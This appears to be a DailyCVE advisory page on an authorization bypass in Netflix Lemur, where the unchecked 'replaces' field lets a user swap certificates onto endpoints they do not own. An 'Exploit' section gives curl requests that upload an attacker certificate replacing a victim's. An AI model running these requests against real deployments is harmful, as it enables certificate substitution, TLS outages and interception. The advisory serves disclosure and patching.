Lemur, Authorization Bypass via Unchecked Parameter, CVE-2026-71308 (High) -DC-Aug2026-1614

</code>) to every endpoint that was previously serving the victim certificate. The deployment is executed via `endpoint.source.plugin.update_endpoint()` which pushes the certificate to AWS ELB/CloudFront/ACM, Kubernetes, SFTP, and other destinations.
The root cause is that no caller on the create/upload/edit path iterates the resolved `replaces` list to enforce `CertificatePermission` before the model assigns them. The direct revoke endpoint enforces this permission, but the `replaces` path achieves an equivalent or worse outcome while bypassing it entirely.
Any authenticated non-read-only user can therefore silently substitute their own certificate onto production load balancers and Kubernetes secrets they hold no role on, while suppressing the legitimate certificate's lifecycle automation. This directly violates the invariant that a user may only modify or revoke a certificate if they are its owner, a member of an owning role, or an administrator.
The fix, implemented in version 1.9.3, authorizes every referenced replacement certificate before mutation.

<h2 style="color: blue;">DailyCVE Form:</h2>

Platform: ....... Netflix Lemur
Version: ........ 0.5.0 – 1.9.2
Vulnerability :...... Authorization Bypass (CWE-862/CWE-639)
Severity: ....... High (CVSS 8.1)
date: .......... 2026-08-18

<h2 style="color: blue;">Prediction: ...... 2026-08-25</h2>

<h2 style="color: blue;">What Undercode Say:</h2>

<h2 style="color: blue;">Static Trace Validation:</h2>

[bash]
Confirm replaces[] is accepted without permission checks
grep -n 'replaces' lemur/certificates/schemas.py lemur/certificates/views.py lemur/schemas.py
Confirm CertificatePermission is NOT checked on replaces payload paths
grep -n 'CertificatePermission' lemur/certificates/views.py

Affected Code Locations:

- `lemur/certificates/schemas.py:402` — `replaces = fields.Nested(AssociatedCertificateSchema, missing=[], many=True)`
- `lemur/schemas.py:152` — `AssociatedCertificateSchema` resolves via `fetch_objects()` with no permission check
- `lemur/certificates/views.py:651` — only `StrictRolePermission().can()` gates upload; no check on `data['replaces']`
- `lemur/certificates/models.py:506` — `@event.listens_for(Certificate.replaces, 'append')` sets `value.notify = False`
- `lemur/certificates/service.py:277` — `get_all_pending_reissue()` filters out replaced certificates
- `lemur/certificates/cli.py:347` — `request_rotation()` deploys `replaced

`
- `lemur/common/celery.py:638` — periodic `certificate_rotate` task
- `lemur/deployment/service.py:17` — plugin pushes to ELB/CloudFront/ACM/K8s

<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>

Preconditions: Attacker is an authenticated Lemur user holding any role other than read-only. `<VICTIM_CERT_ID>` is any certificate ID readable via <code>GET /api/1/certificates</code>.
[bash]
1. Upload an attacker-controlled certificate that "replaces" the victim
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
-H "Authorization: Bearer <AUTH_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "attacker-replacement",
"owner": "[email protected]",
"body": "--BEGIN CERTIFICATE--\n<ATTACKER_CERT_PEM>\n--END CERTIFICATE--",
"privateKey": "--BEGIN PRIVATE KEY--\n<ATTACKER_KEY_PEM>\n--END PRIVATE KEY--",
"replaces": [{"id": <VICTIM_CERT_ID>}]
}'
2. Verify victim.notify is now false and victim is marked as replaced
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
-H "Authorization: Bearer <AUTH_TOKEN>" | jq '.notify, .replaced'
3. On the next certificate_rotate Celery beat tick, the attacker's certificate
is deployed to every endpoint that was serving <VICTIM_CERT_ID>

Protection:

Immediate Mitigations:

1. Upgrade to Netflix Lemur version 1.9.3 or higher immediately
2. Restrict standard user access to certificate write and edit endpoints
3. Audit active certificate `replaces` relationships in the Lemur database
4. Review user accounts and enforce the principle of least privilege

Database Audit Query (Conceptual):

-- Identify certificates that have been marked as replaced by unauthorized users
SELECT c.id, c.name, c.notify, r.certificate_id as replaced_by
FROM certificates c
JOIN certificate_replaces cr ON cr.victim_id = c.id
JOIN certificates r ON r.id = cr.replacement_id
WHERE c.notify = false;

Patch Reference: Commit `2868745` enforces authorization checks during certificate replacement processing.

Impact:

• Fleet-wide TLS Denial of Service: Attackers can suppress auto-reissue and lifecycle automation for any certificate, causing mass TLS disruption equivalent to mass revocation
• Unauthorized Certificate Substitution: Attackers can deploy their own certificates to production load balancers, Kubernetes secrets, and other endpoints they hold no role on
• TLS Interception: Where internal clients trust the substituted chain (or combined with the sub-CA finding LEMUR-BUG-07), the attack escalates to full TLS interception
• Privilege Escalation: Any authenticated non-read-only user can manipulate certificates they have no ownership or role permissions for, violating the principle of least privilege

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin